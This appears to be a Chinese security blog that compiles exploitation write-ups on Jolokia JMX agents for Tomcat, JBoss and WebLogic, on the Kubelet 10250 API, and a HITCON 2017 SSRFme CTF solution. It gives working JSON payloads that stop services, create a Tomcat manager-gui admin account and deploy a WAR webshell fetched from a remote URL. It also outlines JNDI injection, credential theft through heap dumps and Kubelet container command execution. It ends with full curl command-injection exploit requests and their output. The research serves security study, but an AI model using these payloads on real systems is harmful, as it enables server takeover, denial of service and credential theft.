Exploiting Jolokia Agent with Java EE Servers

0x00 - About Jolokia

Jolokia 是一个通过 HTTP 的 JMX 连接器,提供了类 RESTful 的操作方式,可以通过 POST JSON 的方式访问和修改 JMX 属性、执行 JMX 操作、搜索 MBean、列出 MBean 的 Meta-data 等。

Architecture

Jolokia 支持提供了多种 Agents,包括 WAR Agent、OSGi Agent、JVM Agent 或者 Mule Agent。其中 WAR Agent 支持了多种 Web Server:

  • JBoss 4.2.3, 5.1.0, 6.1.0, 7.0.2, 7.1.1, 8.0.0
  • Oracle WebLogic 9.2.3.0, 10.0.2.0, 10.3.6.0
  • Glassfish 2.1.1, 3.0.1, 3.1.2, 4.0.0
  • IBM Websphere 6.1.0.33, 7.0.0.11, 8.0.0.1, 8.5
  • Apache Tomcat 5.5.35, 6.0.37, 7.0.52, 8.0.3
  • Jetty 5.1.15, 6.1.26, 7.6.9, 8.1.9, 9.1.2
  • Resin 3.1.9
  • Jonas 4.10.7, 5.1.1, 5.2.1
  • Apache Geronimo 2.1.6, 2.2.1, 3.0.0
  • Spring dm Server 2.0.0.RELEASE
  • Eclipse Virgo 2.1.0

通过 Jolokia,可以方便的操作 MBean,通过 GET 的例子:

ricter@ricter-dev:~$ curl -s http://localhost:8080/jolokia/read/java.lang:type=Memory/HeapMemoryUsage | jq
{
  "request": {
    "mbean": "java.lang:type=Memory",
    "attribute": "HeapMemoryUsage",
    "type": "read"
  },
  "value": {
    "init": 94371840,
    "committed": 91226112,
    "max": 129761280,
    "used": 32536960
  },
  "timestamp": 1522138479,
  "status": 200
}

或者 POST 一个 JSON:

ricter@ricter-dev:~$ curl -s http://localhost:8080/jolokia/ --data '  {
>     "mbean":"java.lang:type=Memory",
>     "attribute":"HeapMemoryUsage",
>     "type":"READ"
>   }' | jq
{
  "request": {
    "mbean": "java.lang:type=Memory",
    "attribute": "HeapMemoryUsage",
    "type": "read"
  },
  "value": {
    "init": 94371840,
    "committed": 91226112,
    "max": 129761280,
    "used": 33277720
  },
  "timestamp": 1522138552,
  "status": 200
}

Jolokia 支持 READ、WRITE、SEARCH、EXEC、LIST 等操作,具体可以参考官方文档:Jolokia - Reference Documentation

0x01 - Jolokia Security Issues

1. JNDI Injection

Jolokia 支持一个叫做代理模式(Proxy Mode)的东西,是为了解决不能将 Jolokia Agent 部署在目标平台上的问题。具体架构如下:

Proxy Mode

可以通过向 Jolokia 发送 POST 请求来触发:

{
  "type":"READ"
  "mbean":"java.lang:type=Threading",
  "attribute":"ThreadCount",
  "target": {
    "url":"service:jmx:rmi:///jndi/rmi://hostname:1234/jmxrmi",
  }
}

熟悉 Java 安全的朋友可能会注意到,这里可能有一个 JNDI 注入。的确,在 WAR Agent 的情况下,此处存在一个 JNDI 注入,问题发生在 agent\jsr160\src\main\java\org\jolokia\jsr160\Jsr160RequestDispatcher.java

public Object dispatchRequest(JmxRequest pJmxReq)
        throws InstanceNotFoundException, AttributeNotFoundException, ReflectionException, MBeanException, IOException, NotChangedException {

    JsonRequestHandler handler = requestHandlerManager.getRequestHandler(pJmxReq.getType());
    JMXConnector connector = null;
    try {
        connector = createConnector(pJmxReq);
        connector.connect();
        ....

当 Web Container 将请求的交由 Jsr160RequestDispatcher 处理时,Jolokia Agent 创建连接,导致 JNDI 注入。在 WAR Agent 里,默认是由 Jsr160RequestDispatcher 处理的,这一点在 web.xml 也有体现:

<servlet-name>jolokia-agent</servlet-name>
<servlet-class>org.jolokia.http.AgentServlet</servlet-class>
<init-param>
  <description>
    Class names (comma separated) of RequestDispatcher used in addition
    to the LocalRequestDispatcher
  </description>
  <param-name>dispatcherClasses</param-name>
  <param-value>org.jolokia.jsr160.Jsr160RequestDispatcher</param-value>
</init-param>

那么,攻击者只需发送一个带有 Evil JMXRMI 的地址的 JSON,即可利用 JNDI 在目标机器上执行命令。

2. Information Disclosure

Jolokia 中有一个默认注册的 MBean:com.sun.management:type=HotSpotDiagnostic ,这个 MBean 中存在 dumpHeap 方法,可以 dump 内存到指定的目录。同时在低版本的 Java 中(比如 1.8.0_11),导出的文件名可以设置任意名称,而非 .hprof 后缀。

下载后可以通过分析文件获取一些敏感信息:

如上图就获得了 Tomcat 管理员的账号密码,可以通过部署 WAR 文件的方式进行 getshell。

0x02 - Tomcat with Jolokia

1. DoS

部署了 Jolokia 后,可以访问 /jolokia/list 查看可用的 MBean,通过翻阅可以发现 Tomcat + Jolokia 的情况下存在一些敏感操作,比如关闭服务:

{
    "type": "EXEC",
    "mbean": "Catalina:type=Service",
    "operation": "stop",
    "arguments": []
}

这样会造成 DoS,虽然没啥用。

2. Create Admin Account

问题在 User:database=UserDatabase,type=UserDatabase 下,其包括了 createRolecreateUser 等操作,攻击流程为:

// 创建 manager-gui
{
    "type": "EXEC",
    "mbean": "Users:database=UserDatabase,type=UserDatabase",
    "operation": "createRole",
    "arguments": ["manager-gui", ""]
}
// 创建用户
{
    "type": "EXEC",
    "mbean": "Users:database=UserDatabase,type=UserDatabase",
    "operation": "createUser",
    "arguments": ["test233", "test233", ""]
}
// 增加角色
{
    "type": "EXEC",
    "mbean": "Users:database=UserDatabase,type=User,username=\"test233\"",
    "operation": "addRole",
    "arguments": ["manager-gui"]
}

接着利用 test233 / test233 登陆即可。

0x03 - JBoss with Jolokia

1. DoS

关闭服务:

{
    "type": "EXEC",
    "mbean": "jboss.web.deployment:war=/ROOT",
    "operation": "stop",
    "arguments": []
}

1. Deploy WAR

JBoss 中,通过 JMX Console 部署 WAR 是最为人所知的,JBoss 中的 jboss.system:service=MainDeployer 提供了这个方法。由于此方法是重载的,所以需要指定一个 signature,也就是下图的deploy(java.lang.String)

{
    "type": "EXEC",
    "mbean": "jboss.system:service=MainDeployer",
    "operation": "deploy(java.lang.String)",
    "arguments": ["http://127.0.0.1:1235/test.war"]
}

接着通过访问 /test 即可进入 webshell。

0x04 Others

Weblogic 暴露出很多 MBean,但是有一些方法存在限制:

weblogic.management.NoAccessRuntimeException: Access not allowed for subject: principals=[], on ResourceType: WLDFImageRuntime Action: execute, Target: captureImage

可能会有其他的 MBean 可以进行操作,但是由于 MBean 繁多,没有太多精力去看。Jetty 没有暴露什么 MBean,所以暂时没有什么方法。ActiveMQ 有一些 MBean,粗略看了下没有发现什么问题,如果大家发现了,可以多多交流。

0x05 Reference

写在最后:Jolokia 可以暴露出更多的攻击面,通过这些攻击面进行操作来获取更高的权限,本文仅仅分析了部分 Java EE Servers 所呈现出来的 MBean,但是由于 Jolokia 支持多种 Agent,所以暴露出的东西不止如此。

此外,这次分析仅仅是在业务层面上进行分析,没有跟进到源码层面。可能会有如下情况:某个 MBean 进行了 JNDI lookup,或者远程下载文件保存在本地,反序列化某一些内容等等,通过 Jolokia 进行操作可以二次利用这些问题来 RCE。这就需要具体情况具体分析了,本文如有错误,欢迎指正 :D


Security Issues of Kubelet HTTP(s) Server

1. 认证介绍

Kubelet 在 10250 端口上提供了一个 HTTPS 的 API,通过这个 API 可以控制 Pods。Kubelet 对此 API 设置了几种认证方式,通过--authorization-mode指定:

  • ABAC (Attribute-Based Access Control)
  • RBAC (Role-based access control)
  • Webhook
  • Node
  • AlwaysAllow(不指定 --authorization-mode 时的默认值)
  • AlwaysDeny

在 Kubelet 的老版本(1.5 之前)不支持认证和授权,这就导致攻击者可以通过访问 10250 端口的 API 来获取容器权限。

2. 容器内命令执行

通过 /runningpods 获取正在运行的 Pod 列表:

需要的几个参数:namespace、pod_name 和 container_name。接着利用这几个参数请求 /run

即可在容器中运行任意命令,或者控制容器。

3. 信息泄漏

Kubelet HTTP API 源码文件在 /pkg/kubelet/server/server.go,代码如下:

ws.
    Path(logsPath)
ws.Route(ws.GET("").
    To(s.getLogs).
    Operation("getLogs"))
ws.Route(ws.GET("/{logpath:*}").
    To(s.getLogs).
    Operation("getLogs").
    Param(ws.PathParameter("logpath", "path to the log").DataType("string")))
s.restfulCont.Add(ws)

调用 getLogs 方法,接着调用 ServeLogs

func (kl *Kubelet) ServeLogs(w http.ResponseWriter, req *http.Request) {
    // TODO: whitelist logs we are willing to serve
    kl.logServer.ServeHTTP(w, req)
}

定位到:

func (kl *Kubelet) Run(updates <-chan kubetypes.PodUpdate) {
    if kl.logServer == nil {
        kl.logServer = http.StripPrefix("/logs/", http.FileServer(http.Dir("/var/log/")))
    }
    if kl.kubeClient == nil {
        glog.Warning("No api server defined - no node status update will be sent.")
    }

实际上就是启动了一个 FileServer,目录为 /var/log。所以可以通过访问 /logs 来列出 /var/log 的目录,会造成一些信息泄露的问题。

另外如果挂载了 /var/log 到容器内的话,可以通过在容器内创建软链接到 /,再利用 /logs 即可读取容器外的任意文件。不过在实际环境中我暂时还没有遇到过(难受)。

参考

  1. https://github.com/kayrus/kubelet-exploit
  2. https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/server/server.go

HITCON 2017 SSRFme

题目源码:

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__);

这道题的考点是 GET 这个命令的一个命令执行漏洞,主要是 perl 的 feature,在 open 可以执行命令:

ricter@baka:/tmp$ cat a.pl
open(FD, "id|");
print <FD>;

open(FD, "|id");
print <FD>;
ricter@baka:/tmp$ perl a.pl
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)

那么,GET 命令对于各个 protocol 的处理是在 /usr/share/perl5/LWP/Protocol 下的:

ricter@baka:/usr/share/perl5/LWP/Protocol$ ls -1
cpan.pm
data.pm
file.pm
ftp.pm
GHTTP.pm
gopher.pm
http.pm
https.pm
loopback.pm
mailto.pm
nntp.pm
nogo.pm

对于 open 函数:

ricter@baka:/usr/share/perl5/LWP/Protocol$ ag open
mailto.pm
88: open(SENDMAIL, "| $SENDMAIL -oi -t") or

ftp.pm
239:          # open range -- only the start is specified
537:#    may be reasonable to keep the control connection open while accessing

file.pm
84: opendir(D, $path) or
132:    open(F, $path) or return new

file 协议才有可以利用的 open,看一下源码:

...
# URL OK, look at file
my $path  = $url->file;

# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
              "File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
    HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
           "Cannot read file '$path': $!");
...

需要文件存在才能触发,验证一下:

ricter@baka:/tmp/a$ touch 'id|'
ricter@baka:/tmp/a$ GET 'file:id|'
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)

需要存在一个 id| 文件,但是 PHP 源码中会创建目录及文件,那么最终 exp:

ricter@baka:~$ curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|' > /dev/null
ricter@baka:~$ curl -s 'http://13.115.136.15/?url=file:bash%20-c%20/readflag|&filename=bash%20-c%20/readflag|' > /dev/null
ricter@baka:~$ curl 'http://13.115.136.15/sandbox/c36eb1c4372f5f8131542751d486cebd/bash%20-c%20/readflag%7C'
hitcon{Perl_<3_y0u}